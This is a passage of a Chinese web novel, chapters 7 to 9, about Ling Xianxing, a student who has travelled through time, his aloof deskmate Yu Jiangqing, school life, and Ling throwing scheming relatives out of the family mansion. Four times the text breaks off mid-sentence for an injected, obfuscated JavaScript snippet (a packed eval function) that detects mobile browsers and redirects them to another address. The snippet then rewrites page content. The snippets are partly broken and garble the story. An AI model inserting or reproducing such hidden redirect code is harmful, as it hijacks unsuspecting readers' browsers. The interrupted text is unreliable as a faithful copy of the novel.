凌衔星突然意识到不对,“是我在问你啊,怎么你一直在问我。” “不用做什么。” 凌衔星:“啊?” 郁江倾垂眼,将那枚拆开的果冻又推回凌衔星面前,难得说了长句:“假如真有那种情况,你跟‘我’说你是凌衔星就行。” 只要你出现在我眼前,剩下的一切我都会做完。 “你明明就不信我,还说我是伪造品嘞......”凌衔星将那枚果冻吸溜进嘴里,含糊嘀咕。 见郁江倾目光投过来,他立刻摆手,“没,我什么都没说。” 郁江倾看着凌衔星,平静的黑眸下似有浅浅的疑惑,但没说什么。 寝室内安静了下来,一时间只剩下凌衔星咔吱咔吱咬薯片的声音。 仓鼠式磨咬了几片薯片, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438629|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌衔星突然觉得气氛有点不太对劲。 这么想起来,他好像从来没有跟郁江倾这么心平气和坐在一起聊天过。 今晚他俩的气氛前所未有的和谐。 他们目前的关系算不上朋友,但又比普通同学熟悉了太多。 郁江倾被学校的女生们称作什么高岭之花,那他天天骚扰郁江倾,难不成是采花贼? 双手捧住忘崽牛奶,凌衔星悄悄抬眼打量坐在他对面的人。 因为是同桌,平时看得更多的还是侧脸。 郁江倾的脸真的三百六十度没死角,下颌线清晰,鼻梁挺拔,睫毛又长,垂下来的时候一股清冷感扑面而来。 也不知道他跟郁江倾谁的睫毛长。 凌衔星很想拔一根下来比比,又觉得那样的话郁江倾可能会当场把他摁在书桌上揍。 目光再缓缓往下,郁江倾的手也很好看,是冷白的色调,每一根手指都长而直,骨节分明,手背上淡青色的脉络清晰可见。 手指倒是不用比,很明显比他长一些,从这里都能窥见他们日后的身高差。 十年后郁江倾低头看他简直毫无违和感,目测有个一米八八□□的样子。 凌衔星嘬着奶看得正入神,耳边响起冷调的嗓音: “看我下饭?” 偷看被当场抓包,凌衔星被奶呛了一下,心说这话怎么怪怪的,说得他跟流氓似的。 但他从来不知道不好意思为何物,反倒是顺着说了下去,“那你笑一下,让我多下下饭?” 郁江倾面无表情,“无聊。” “行吧。”凌衔星又往嘴里塞了片薯片,“我今天其实还有别的事想跟你商量。” “如果你不答应的话,我应该会在你寝室的地面打滚。” 凌衔星发誓,他在郁江倾的眼中看见了震撼,大概是从没见过他这么不要脸的人。 巧了,他也没见过。 凌衔星诚恳发出邀请:“我们当室友吧。” “不管是你入赘到309,还是我入赘到303,都可以的。” 话音落下,寝室安静了很久。 郁江倾缓缓起身。 “怎么了?” 郁江倾冷声:“给你收拾行李。” 凌衔星眼前一亮,“你答应了?” 直到零食袋子塞进手里,被摁着脑袋朝门外推,凌衔星才意识到此行李非彼行李。 “等等等等!”凌衔星抵住门框,努力扭头,“我们好商量啊。” 郁江倾:“呵。” “住一起不是挺好的吗,我们可以彼此照应啊,要是你不嫌弃,洗澡我都可以给你搓背的!”凌衔星抬手抓住对方的手。 脑袋上的手突然僵了一下。 凌衔星找准时机转回身,一把勾住郁江倾脖颈,面颊还因为惯性跟人短暂蹭过。 他辨析着对方停顿的原因,“喜欢搓背是吗,好,明天开始我天天帮你搓!你喜欢粗暴的还是温柔的?” “......放开。” 这声音虽然还是冷,却多了丝细微的颤抖。 凌衔星一愣,抬眼看向对方。 不知何时,郁江倾的耳垂一直到脖颈那一片全都透出了红意。 他肤色白,稍微有点变化都很明显。 听对方的呼吸急促,凌衔星吓了一跳,“你、你没事吧?” 手腕上突然一紧,眼前视野一晃,凌衔星再回神时后背已经抵在了床梯上,整个人顺着梯子的角度向后倒。 郁江倾的力气大得出乎他的意料,钳在他手腕上的手灼烫,再感受不到平日里温凉的温度。 7. 第 7 章 在凌衔星的印象里,郁江倾这个人向来都是淡淡的。 神情万年不变,行事一板一眼,像片结了冰的湖,没有任何波澜。 这是他第一次见到对方这么失态。 那么冷的一个人居然也能有这样烫的温度。 额前碎发下,那双漆黑不见底的眼眸盯着他,凌衔星心头后知后觉涌上来一点紧张。 好像又回到了被28岁郁江倾按着下巴的时候。 感觉要被揍了。 “那什么......我身上不脏的,你要是真的洁癖发作了,一会儿擦擦就好。那个,你别的没事吧,耳垂好红啊。” “凌衔星......” 这嗓音冷冽却沙哑,响在耳边,让凌衔星心头一跳,下意识道:“到!” “......” 郁江倾缓缓松开手,后退拉开距离。 他闭了闭眼,转过身去。 凌衔星站直了身形,动动红了一圈的手腕。 方才的压迫感消失,溜走的胆子又跑了回来,他探着脑袋,“你真的没事吧?” 郁江倾垂在身侧的手发着颤,眼眶生理性泛红。 他不敢再说话,怕被听出异常。 在很小的时候,郁江倾就发现了自己的异样。 他心理上厌恶他人的触碰,生理上却又渴望肌肤接触到了一种病态的程度。 平日里还能忍,可偏偏有个他生不出排斥的人,总是不知死活地来招惹他。 ...... 凌衔星像只小鸡仔一样被拎出了303。 只剩下几盏小灯的廊道昏暗,他愣愣看着303的门牌号。 抬手摸了摸自己的耳朵。 热乎乎的。 刚才郁江倾提着他衣领把他拎出来的时候,呼吸好烫。 “蛋糕你记得吃喔,放到明天就坏了。”凌衔星扒在门板上说了声。 看来同寝的大计还得从长计议。 他是不会放弃的! 寝室内,郁江倾狼狈靠坐在地上,用手撑着额头,衣服凌乱。 被凌衔星触碰过的地方像是燃起一簇簇火焰,烧得理智所剩无几。 肌.肤.饥.渴这种病症光靠压抑自己根本没用,只会将欲.望越积越多,直到再也撑不住那天,冲溃堤坝。 但他除了强忍,没有其他办法。 意识恍惚间,凌衔星的模样不断浮现,最后越飘越远的思绪停在了第一次见到对方的时候。 高一开学报到那天,他因为一些事耽搁,是倒数第二个到教室的。 好的位置都已经被占了,他坐的的地方阳光没照到,也没有同桌,像是被世界隔离的角落。 不过这也正合他的意。 可他才刚坐下没多久,教室后门又火急火燎冲进来一个人。书包斜背在单肩,头发凌乱,校服也穿得东倒西歪,向着他跑来。 当时凌衔星背对着太阳,面容看不太清,但那双浅金的眸子却是实实在在撞进了郁江倾的眼中,比盛夏的日头还耀眼。 恰好天空云朵散去,那个人就这么带着阳光照进了他藏身的角落。 两年了,郁江倾才后知后觉,他那时大概是一见钟情。 “呼......”郁江倾摇摇晃晃起身,走进了浴室。 冰凉的水流冲下,少年神情阴郁,藏不住对自己难堪身体的厌弃。 他对自己的评价是,癞蛤蟆想吃天鹅肉。 “咔——” 309,凌衔星咬下雪人巧克力片的脑袋。 “把你吃掉,看你还怎么高冷。”一边说着,凌衔星直接把剩下半片也给塞进了嘴里。 咀嚼两下,他突然觉得自己这样实在是傻逼得不行,把自己给逗笑了,巧克力碎从嘴里面喷出来。 “郁江倾这洁癖也太夸张了吧,怪不得十年后要戴手套呢。” 他记得上一次搂人脖子,对方还没这么激烈反应的。 凌衔星一共就搂过郁江倾两次脖子,一次是高一,一次就是刚才。 高一刚开学的时候,他跟凌家的蛀虫起了点大的矛盾,耽搁了时间,是最后一个到教室的。 当时他一个猛冲蹿进教室后门,一眼就看见了角落的郁江倾。 乖乖,整个教室都是夏天,就对方那个角落跟冬天似的。规规矩矩穿着校服的男生静静坐在那里,人哗哗朝外冒清冷气,什么人型冰箱。 可当郁江倾扭过头,那双眼睛淡漠又冷清,凌衔星脑子里那些乱七八糟的吐槽瞬间全飞走了。 就剩一句:他笑起来肯定很好看。 凌衔星跑到郁江倾面前,热情去跟人勾肩搭背,“嗨,我叫凌衔星。” 他当时都想好了,只要对方也把名字告诉他,他俩就会成为高中三年的铁哥们。 可对方不理他。 凌衔星不甘心地捏着嗓子来了句:“哥哥你长得好俊俏呀~” 然后他被甩开了,看着对方用纸巾擦被他碰过的地方,幼小心灵遭遇重创。 “啊啊啊想看他笑一下怎么就这么难啊!!!” 凌衔星觉得自己也是有大病。 哪有正常人为了看人笑一下犯贱两年的。 这一晚上,凌衔星根本就没怎么睡着。 他穿越回来的时候十年后还是白天,身体正是精神的状态。 等他好不容易迷迷糊糊睡着了,没多久,要命的铃声猛然爆发,响彻校园。 “太阳当空照,我去上学校,小鸟说早早早......” 廊道上响起踹门的声音,有个暴躁哥们在廊道上对着扩音器怒吼: “早你妈,早你爸,早你爷爷奶奶,早你外公外婆,你全家都早!他妈的到底哪个傻逼选的起床曲!!!” “......”凌衔星两眼放空,气若游丝躺在床上扮演尸体。 天怎么亮这么快,人类在闭眼的时候果然会穿越。 能不能把他穿越去十年后,睡饱了再穿回来? 他突然开始怀念28岁郁江倾的豪华休息室了。 本来睡着的时间就已经很短了,还做着乱七八糟的梦。 一会儿是他被泥石流掩埋,一会儿是郁江倾给他缝尸体,一会儿是他被凌家的蛀虫们联手打垮了。 前两个就算了,毕竟是真的,但最后一个根本是在侮辱他! 要是连那些废物都弄不过,他现在就找豆腐撞死。 摸了摸心口,心脏的跳动速度快得有些不正常。 经历过穿越这种奇幻的事情之后,凌衔星也开始相信一些冥冥中的感觉。 梦中一直有道神神叨叨的声音,说他要在高考前成为主角,才能改变所有人的命运。 什么主角啊,真当是小说了啊。 “不行,不能再想了。今天早自习是语文,一二两节也是语文课,语文已经够烂了,不能翘课。”凌衔星开始努力在床上蹬腿,企图把自己蹬起来。 他的成绩分两个极端。 跟郁江倾不相上下,几乎次次满分的理科。 还有常年蝉联倒数第一的语文。 用班主任兼语文老师老宋的话来说,要不是你长了张我国人的脸,我都要怀疑你是外国间谍。 凌衔星的原则是:理科随便翘,反正成绩好。语文课不能翘,老宋会杀了他祭天。 可惜一路狂奔还是迟了。 教室后门被不知道哪个牲口锁了,凌衔星只能在前门探头探脑。 正在督促学生们早自习的老宋一眼捕捉,“凌衔星你给我站直!” “是!”凌衔星猛地立正。 老宋笑里藏刀:“又睡过头了?” “不是。”凌衔星为难,“出了点事。” 闻言,老宋一愣,语气缓和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438630|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,“什么事,要不要紧?” “我的床变成人了,抱着我不让我走。”凌衔星义正言辞,“本来我都快要被它打败了,但我一想,今天是您的语文早自习啊,我就是翘了其他所有课,也不能错过语文啊,所以我当时就大爆发,跟床大战三百回合,然后——” 班里爆发阵阵笑声。 老宋气得拍讲台,“你给我出去站着!” “喔。” “兔崽子,没个正形......” 凌衔星晃悠到教室后门的窗户边,转了几圈,给自己均匀翻面日光浴。 郁江倾的座位就在后排窗边,凌衔星把脑袋靠在窗户玻璃,一低眼就能看见郁江倾的头顶,还有对方翻开的语文书。 看了几眼,凌衔星悄悄推开窗户。 小声:“嘿同桌,咳咳,这位郁先生。” 郁江倾抬眼。 “昨晚的蛋糕你吃了吗?” “嗯。” “好吃不?” “......”郁江倾伸手从自己的书包里面翻出一包柠檬夹心饼干。 他顶着凌衔星充满渴望的眼神,把饼干递过去。 凌衔星受宠若惊,“你怎么知道我饿了?” 郁江倾淡淡:“蛋糕的还礼。” “哎呦,这么客气干嘛呀。” “凌衔星,你吃你的,不许骚扰郁江倾。”老宋丢过来一根粉笔。 凌衔星笑嘻嘻,拆开饼干包装,坐在教室里面的许辰还拜托同学传了一瓶牛奶过来。 凌衔星对着许辰比了个心,许辰笑呵呵的,眼睛都被肉挤成缝了。 郁江倾看了眼那个“心”,默默收回视线。 吃了几片饼干填肚子,凌衔星感觉自己活了过来,又不安分了,开始往里面探脑袋。 郁江倾似有所感抬头的时候,对上的就是一个快跟他贴上的长脖子怪。 凌衔星脖子抻得老长,趴在窗口用手指向语文书上。 “郁老师,这‘山有木兮木有枝,心悦君兮君不知’后半句我知道,但前半句是什么意思啊?” 郁江倾反问,“你觉得是什么意思?” 凌衔星思考片刻,“山跟木在一起,但是木背地里还跟枝在一起?” “......” 郁江倾的眼神一言难尽,突然觉得他跟不上凌衔星的思路也正常,不然他的语文可能也要勇夺倒一了。 “不对吗,那是什么意思啊?” 郁江倾深吸一口气,“山上有树木,树木有枝丫,用自然之景来比喻人的情感,重点在后半句心悦君——” 话语突然一顿。 凌衔星歪了歪头,“怎么了?” “你......”郁江倾错开眼,“非要贴这么近?” 凌衔星整个人都快栽进教室了,一只胳膊还丝毫不见外地搭在前排数学课代表的椅子背上。 而语文成绩同样惨不忍睹的数学课代表正悄悄往后侧,试图蹭一耳朵郁学神的现场教学。 “怎么还在骚扰郁江倾,这些天检讨没写够是吧?” 老宋刚从教室另一头游走回来,就看见凌衔星跟个贞子一样缠着郁江倾不放,忍不住走到教室外面敲了凌衔星一下。 “老宋啊,我这是跟郁老......同学探讨学问呢,你不是常说成绩不好的同学要多多请教成绩好的同学吗。” 嗯?凌衔星突然意识到哪里怪怪的,直起身看向老宋,“这些天的检讨?” 检讨这玩意儿他不是从上学期开始就基本没写过了吗。 他还嘀咕过老师们怎么光记他名字,别的一点实际惩罚都没有。 ——检讨的事情,你知道了吗? 28岁郁江倾的话突然在脑中闪过。 “他是在问我诗的意思。”郁江倾突然开口,打断了凌衔星的思绪,也让老宋止住了话头。 8. 第 8 章 下午最后一节课结束,凌衔星猛地从座位上站起来,带着课桌都震了震。 郁江倾手上的笔一划,笔迹直接飞出了纸页。 “星哥,你这是要去食堂抢饭?”许辰捧着一包薯片走了过来,“帮我也抢一份呗,我要吃大肉排。” “吃吃吃你就知道吃。”凌衔星翻了个白眼,朝着人招招手,“过来。” 许辰走过去,然后就被捏住了脸。 “你都答应过我多少次了,减肥减肥,你怎么越减越肥啊。” “不吃饱哪有力气减肥啊,星哥你知道我的,我就吃东西这点乐趣了。” “逆子!”凌衔星恨铁不成钢,“昨晚你不还说要减肥吗?” 许辰撇撇嘴,“那你昨晚还答应以后只看我不看郁江倾呢。” 郁江倾动作一顿,抬头看了眼凌衔星。 明明就是很平静的一眼,属于人听见自己名字被提到之后的正常反应。 可凌衔星不知道怎么的,心脏噗通加速跳了一下,有种诡异的心虚感。 他总觉得郁江倾这眼神是在说:骚扰我两年,现在打算换别人骚扰了?渣男。 不是,这什么神经联想啊。 挥散脑子里乱七八糟的想象,凌衔星:“那也是等你减肥成功之后。” “行了我要走了,我今晚可是有大事要干。” 一旁默不作声的郁江倾又抬头看了一眼。 凌衔星拍拍许辰肩膀,冲出了教室。 他今天就要把那三个人从凌宅赶出去。 死蛀虫们,爸爸我来了。 教室内,许辰回过神,看向郁江倾。对方察觉到视线,也看了过来。 正面对上一双漆黑的瞳孔,许辰后背微僵,本来想说的话突然就说不出来了。 他见过不少豪门贵胄,却没有哪一个能比郁江倾更让人发毛。 那是一种发自骨子里的阴鸷狠戾,对一切的淡漠,让人觉得就算对方下一秒杀了人也正常。 可当许辰定下心来再看,郁江倾的面上又只剩下了清冷。 ...... 这一次不用再靠两条腿了,凌衔星叫来司机。 高调张扬的豪车停在A高门口,一些路过的学生露出惊艳的眼神。 “叫辆货运车到大门口。”凌衔星吩咐道。 司机应下,随后又有些好奇,因为凌衔星一直很好说话,不摆什么有钱人的架子,所以他多问了一句,“少爷要搬大件吗,需不需要我搭把手?” 凌衔星勾起一个三分邪魅三分霸道三分凉薄一分高傲的笑容,“不,我今天大扫除。” 凌宅大门缓缓打开,凌衔星让司机别停车,直接开到别墅门口。 指纹打开门,里面传来欢声笑语。 养子凌嘉胜比凌衔星大两岁,现在读大二,书不好好念整天跑回来啃老。 那两个老不死更是只会吸集团的血,别的啥也不会,所以爷爷才会隔代把凌氏全部交给凌衔星。 凌衔星的身影出现在客厅,原本温馨的谈笑声戛然而止。 还算帅气的中年男人跟保养得当的美丽贵妇,还有一个样貌清秀的青年。 蛀虫一家三口。 凌德诚冷下脸,“谁让你回来的,凌家养你就是让你成天逃学的?” 魏凝思翻了个白眼,意有所指,“我们小胜就是乖,不像有些不学好的白眼狼。” 换做平时,凌衔星压根懒得搭理他们,凌宅二层分给他们住,三层及以上全属于他,虽住一个屋檐下,但根本没什么交流。 但这次,凌衔星目光扫过茶几,上面摆着一份份摆盘精致的昂贵水果,“呦,吃饭后水果呢,凌嘉胜你啃老啃得很有情调嘛。” 凌嘉胜面色难看了一瞬,委屈地看了眼父母,“要不......我还是走吧,弟弟他不喜欢看见我。” “要走也是他走!”凌德诚愤怒起身,“逆子,你现在立刻滚出去,别来碍眼!” 凌衔星迈步走近,指尖搭在茶几边沿敲了敲,突然轻笑起来。 “砰!”震耳的重物倒地声响起。 魏思凝吓得尖叫。 茶几直接被凌衔星掀翻,满桌陶瓷碎片飞溅,有几片划破了三人的皮肤。 凌德诚气得指尖发颤,嘴唇泛白,“逆子,你、你要造反啊!” 凌衔星飞起一脚横踹在凌德诚腹部。 “小畜生!”魏凝思怒不可遏,扬手就朝着凌衔星扇过去。 下一秒她飞出去跟凌德诚躺在了一起。 “弟弟,你怎么能——” “差点把你忘了!”凌衔星又是一脚。 看着倒在地上哀嚎的三人,凌衔星乐了,“你们可真像三条蛆啊。” “别以为我不知道你们背地里做了些什么,自己找死可怨不得别人。” “把他们拖出去,家具也都换掉,晦气!” “是。” 待命的保镖们应声上前。 “你们敢!我是凌家掌权人,你们敢动我我饶不了你们!”凌德诚怒吼。 保镖们面不改色,谁给钱谁就是老板,管你是个什么东西。 何况圈子里谁不知道凌衔星才是凌氏真正的继承人。 聒噪的三人被拖出去。 将这一切处理好并没有花太多时间。 在钱给足的情况下,家具已经全部替换,蛀虫们留下的生活痕迹被清除,凌宅彻底变成他一个人的凌宅。 “改天可以找郁江倾来我家跟我玩沙盘。” 凌衔星的书房里面就有一个很大的电子沙盘,爷爷去世以后他都找不到真人跟他对战,可无聊了。 没想到郁江倾技术这么好,可不得抓过来“物尽其用”一下。 凌衔星埋头编辑最后一则关于凌氏变动的通告。 本来这种事交给手下就行,但是爷爷去世后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438631|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那些蛀虫们欺负他年轻,在他没成年的时候朝凌氏安插各种眼线。 没成年终究受监护人限制,他无法完全相信任何一个手下。 哪怕到现在,他也还要下个月才成年。 这也是为什么他原先是打算等毕业之后再彻底跟那些人撕破脸氏。 他虽然被爷爷夸有天赋,但终究经验不足,需要时间来沉淀。 这么想着,凌衔星脑中突然浮现十年后郁江倾在A市一手遮天的模样。 不得不说,是真的很有压迫感。 也不知道还会不会穿越过去,要是再穿越,他想试试跟对方学习管理以及开拓产业。 也不知道当年郁江倾是怎么处理这些蛀虫的。 通告发出去,凌衔星让司机将他送回了A高。 “少爷,您左边的眼睛旁边有道口子,不用叫医生处理一下吗?” “嗯?”凌衔星闻言掏出手机照了照,这才发现自己眼尾有道不深不浅的划口,摸上去还有些刺痛。 大概是掀茶几的时候被小碎片溅到的。 果然装逼是要付出代价的,那茶几死沉,他为了看起来帅还是单手掀的,现在右胳膊老酸了。 “没事,我自己处理就行。” 下了车,凌衔星去学校小卖部买了消毒棉签。 教室晚自习没有老师守着,他就这么大摇大摆走了进去。 教室里面干什么的都有,偷偷玩手机的占大多数,凌衔星一眼瞄过去,还有隔着过道悄悄拉小手的情侣,许辰则是在啃巧克力棒。 再看向他的好同桌,正在不断散发学神的光辉,勾.引得前排的数学课代表裴承蠢蠢欲动想回头勇敢请教问题。 嗯......应该是叫裴承吧,这高三刚分了班,记得不是很清楚。 流水的同学,铁打的同桌说得就是他跟郁江倾。 整个教室就属郁江倾坐得最笔直,笔挥舞得最快。 凌衔星往自己座位啪叽一趴。 “同桌~眼睛疼,帮帮忙呗。” “......”郁江倾侧眸。 凌衔星这个人总是没个正形,偶尔还喜欢到处挨挨靠靠,跟没骨头似的。 这会儿他朝着郁江倾的方向趴在课桌上,修长纤细的手指捏着一根碘酒棉签棒。 左边的眼尾有一道划痕,边缘已经有些红肿,分明口子不长,但在白皙的皮肤上显得格外刺目。 郁江倾:“医务室倒闭了?” 凌衔星单边眨眼,“这不是想跟郁医生增进一下感情嘛。” 郁江倾:“......” 又来了一个新称呼。 飞眼抛给了雪人,凌衔星也没真指望郁江倾给他消毒,纯粹是瘾犯了,不调戏一下就浑身刺挠。 刚打算给自己草草涂一下,免得俊脸破相,耳边传来一把低凉却很好听的嗓音: “棉签松开,不然我怎么涂?” 9. 第 9 章 不对,这很不对。 直到郁江倾拗断棉签一头,将浸透碘酒的棉签落在划口,凌衔星都没能回过神来。 这跟他设想的剧本不太一样。 在他的设计里,应该是郁江倾不堪其扰,甩给他一个嫌弃的眼神,然后他鹅鹅鹅笑着给自己上药。 但现在,凌衔星鹅不出来了,他感觉自己像一只被灌了哑药的大鹅。 他趴在课桌上,眼尾传来微微的刺痛,但更多的是凉意。 这让凌衔星意识到,郁江倾的动作应该很轻。 眼尾这个位置其实很危险,要是位置再偏一些就该划到眼睛了。 他悄悄抬眼,眼睫传来细微痒意,因为姿势原因扫过了郁江倾的指节。 这还是他第一次用这种角度看对方。 为了方便上药,郁江倾靠近了一些,正垂眼看着他。 那薄薄的眼皮半敛,长而密的睫毛遮掩了眸中倒影。 凌衔星的小心脏突然就很快地扑通跳了一下。 都说男人认真办事的时候最性.感。 凌衔星觉得自己现在就是被他的高岭之花同桌性.感得想要鹅叫。 前面隔了一个过道的两个女生原本在对答案,其中一个不经意间回头,猛地顿住了。 但她不敢声张,无声尖叫了一下,悄悄掏出手机,给同桌女生发消息,“快看后面!郁江倾跟凌衔星!啊啊啊啊啊啊!” 关注好看的人是一种人类的本能,早在高一的时候,学校论坛上面就已经有不少人讨论他们学校的两位超级大帅哥,还有走在校园里面的各种角度的偷拍照。 凌衔星跟郁江倾是两种几乎完全相反的风格。 一个最能代表少年这个词,鲜衣怒马,意气风发,张扬如烈焰骄阳。 一个则是让人根本不敢亵渎,拒人于千里之外,靠近就会被清冷气赶跑。 一开始,论坛只是分开讨论两位大帅哥的颜值,偶尔将两人对比一下。 但不知道从哪一天开始,走向逐渐歪了。 随着凌衔星不断骚扰郁江倾,一个名为【一见倾星】的邪.教逐渐壮大,教众含括高一到高三,男女都有。 两个女生脑袋顶脑袋交流,手指快在键盘上按出残影了,嘴角疯狂上扬。 但这一切,从来不关注校园论坛的凌衔星跟郁江倾都完全不知道。 郁江倾将棉签丢掉,回到座位继续刷习题。 凌衔星眨巴眼,“同桌,你今晚是不是哪里不舒服啊?脑袋瓜还清醒吗?” 郁江倾侧眸,语调不明,“如果你更想许辰给你处理,没必要来招我。” 这跟许辰有啥关系? 凌衔星懵逼地眨眨眼,试探着用拇指跟食指比了个心,“那......谢谢郁医生了?” 目光扫过那个“心”,郁江倾收回视线接着刷题。 凌衔星低头摸摸肚子,饿了,刚忘记在小卖部顺便买点吃的了。 突然,一个面包出现在眼前。 嗯?凌衔星疑惑扭头,郁江倾又在做题,根本不朝这看一眼。 好冷淡,好像递面包的不是他一样。 凌衔星嘴角缓缓上扬,用气音道:“这个也是慕斯蛋糕的回礼吗?” “你怎么知道我没吃晚饭啊?” “郁哥哥,你理理我嘛~” “郁医生?郁先生?” 郁江倾:“......不吃还我。” “吃,当然吃!”凌衔星嘿嘿一笑,拆开包装美滋滋吃起来。 一边吃,他戳戳郁江倾手下的习题册,“你吃了我的蛋糕,我吃了你的饼干面包,我们现在算朋友了吗?” 郁江倾垂眼不语。 ... “郁同学。”一道听上去莫名有些视死如归的声音从前面传来。 郁江倾都还没抬头,吃饱喝足玩手机的凌衔星先抬起了脑袋。 裴承一愣,你俩到底谁叫郁江倾? “有事?”郁江倾淡淡道。 “我......” 裴承咕嘟咽了下口水,突然就有点后悔来问郁江倾题目。 他前两年跟郁江倾不是同班,远远见到对方只觉得有点高冷。 学神嘛,高冷点更有格调了。 但直到现在,他第一次直面郁江倾,话都有点说不利索。 也说不上为什么,就是第六感瘆得慌。 “问数学题吗,你找我嘛,我数学又不比他差。”凌衔星往前凑脑袋。 顿时,裴承就像是抓住了什么救命稻草,悄悄将手上的语文习题换成数学,“对对对,其实我是想请教你的,这题怎么做啊!” 凌衔星笑眯眯,“我看看喔。” 晚自习结束的时候,凌衔星已经跟裴承勾肩搭背上了。 看着跟多年铁哥们似的肩并肩走出教室的两人,郁江倾:“......” 回宿舍的路上,裴承跟凌衔星漫无边际聊着天,旁边还跟着一个正在啃面包的许辰。 “给我来一口。”凌衔星伸过脑袋,直接在面包上面咬了一大口。 裴承看馋了,下了晚自习经常肚子饿,但他跟许辰不算很熟,又不好意思说。 凌衔星注意到,直接从许辰口袋里面掏了小包装巧克力饼干递给他。 “可以吗?”裴承捧着饼干。 许辰摆摆手,毫不在意,他只是爱吃东西,又不护食,何况还是凌衔星拿的,“吃呗吃呗。” “谢啦。” 一边吃着,裴承又道:“对了,上周我去办公室,在老宋那里看见星哥你写得检讨了。” 他竖起一个大拇指,“太有文采了,洋洋洒洒三千字。” 说着话的裴承并没注意到凌衔星微变的神情。 之前被郁江倾打断的思绪因为这话重新接上,继续顺着思考了下去。 凌衔星敢确定,他压根就没写过什么检讨。 所以是有人替他写了检讨交给老师? 他就说怎么这些老师光记名字不罚检讨,光打雷不下雨呢。 不是,哪来的菩萨啊,人家是田螺姑娘,你是检讨姑娘? 这世界上真的会有这么闲得蛋疼的人吗? 余光中走过一个形单影只的身影,凌衔星一顿,目光望向那个清冷少年的背影。 其实他脑中已经有了怀疑的对象,只是完全不敢确定。 哪怕只有那个人有充分的作案条件。 要能完美做成这件事,首先得知道他什么时候因为什么被记了名字,还要在老师那边信任度很高,让老师放心派来管他。 可将那个人的样子跟所做的事情放在一起,凌衔星只觉得跟雪人说要晒太阳一样荒唐。 比他穿越还荒唐。 “星哥,你想啥呢?” “啊......”凌衔星猛地回神,“没什么,刚走神了。” 回到寝室,凌衔星原本想去找郁江倾问问。 但又觉得对方不可能承认,要是想被他知道,也没必要瞒着他了。 到底是不是啊...... 这件事让凌衔星纠结了整整一天,周五上午,他终于决定去老师那里试探试探。 办公室内,老宋正在跟其他老师聊即将到来的月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438632|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考的事情。 “报告。”凌衔星探进来一个脑袋。 其他老师乐了,“呦,稀客啊。” 老宋警惕,“凌衔星,你来干什么,犯事来自首了?” 其实凌衔星平时真不闹什么事,他翘课也就是影响自己,从不去打扰其他同学。 理科成绩优异到没话说,除了语文惨烈了一点,完全不算什么棘手的坏学生。 但问题是,老宋就是教语文的。 他每次看见凌衔星,就感觉自己的教学生涯正在遭受猛烈冲击。 凌衔星眉眼弯弯,“没,就是想你了老宋,来看看你,表达一下我对您的关怀。” 老宋不吃这套,“你还是把你的关怀表达在语文考试上更好。” “你写检讨时候的文笔都比你的作文好,怎么想的?” 自己还没旁敲侧击呢,老宋就提到检讨了,凌衔星暗暗叫好。 “其实我这次来,就是想要向您讨一份检讨的。”凌衔星义正言辞,“我想跟我写检讨时候的状态学习学习。” “......” 最后凌衔星是被老宋赶出办公室的,不过他目的也达到了,手上捏了一份据说是上周交给老宋的检讨书。 值得一提的是,老宋说是郁江倾代他交的。 某位高岭之花的作案证据又增加了。 深吸一口气,凌衔星看向检讨书。 现在就是解开谜题的时候。 笔迹跟自己的很像,可是凌衔星跟郁江倾做了那么久的同桌,对对方的字迹很是了解。 这份检讨书里面的字虽然已经将他的字迹模仿了个八成,可从字里行间还是能看出郁江倾的痕迹。 他的字迹比较跳脱,收尾的时候喜欢向外拖一拖,而郁江倾收尾的时候很克制,笔锋冷冽。 凌衔星心头跳了一下。 所以,一直都是郁江倾在替他写检讨? 谜团水落石出后的畅快感并没有出现,反而被更大的疑惑包裹。 郁江倾为什么要这么做? 凌衔星深思许久,也没能想出什么合理的猜测。 将那份检讨书小心翼翼收好,凌衔星回到教室。 郁江倾正在刷题,他的人生好像就没有其他任何的乐趣,除了做题还是做题。 喔,还有记他名字。 现在或许还要加上一个,帮人写检讨。 